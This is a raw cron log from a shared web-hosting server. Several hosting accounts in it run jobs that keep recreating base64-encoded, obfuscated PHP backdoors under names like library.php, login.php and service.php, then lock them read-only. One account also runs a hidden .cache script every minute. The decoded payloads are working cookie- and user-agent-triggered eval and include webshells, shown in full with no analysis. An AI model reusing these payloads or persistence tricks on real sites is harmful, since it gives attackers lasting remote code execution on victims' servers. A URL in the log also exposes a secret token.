Mar  2 16:33:01 medusa CROND[17918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:33:01 medusa CROND[17922]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:33:01 medusa CROND[17924]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:33:01 medusa CROND[17927]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:33:01 medusa CROND[17923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:33:01 medusa CROND[17933]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:33:01 medusa CROND[17935]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:34:01 medusa CROND[32738]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:34:01 medusa CROND[32739]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:34:01 medusa CROND[32740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:34:01 medusa CROND[32741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:34:01 medusa CROND[32742]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:34:01 medusa CROND[32743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:34:01 medusa CROND[32745]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:34:01 medusa CROND[32746]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:34:01 medusa CROND[32750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:34:01 medusa CROND[32751]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:34:01 medusa CROND[32758]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:34:01 medusa CROND[32761]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:34:01 medusa CROND[32763]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:35:01 medusa CROND[16431]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16507]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:35:02 medusa CROND[16797]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:35:02 medusa CROND[16799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16803]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:35:02 medusa CROND[16804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:35:02 medusa CROND[16801]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:35:02 medusa CROND[16815]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:35:02 medusa CROND[16814]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:35:02 medusa CROND[16817]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:35:02 medusa CROND[16821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:35:02 medusa CROND[16824]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:35:02 medusa CROND[16831]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
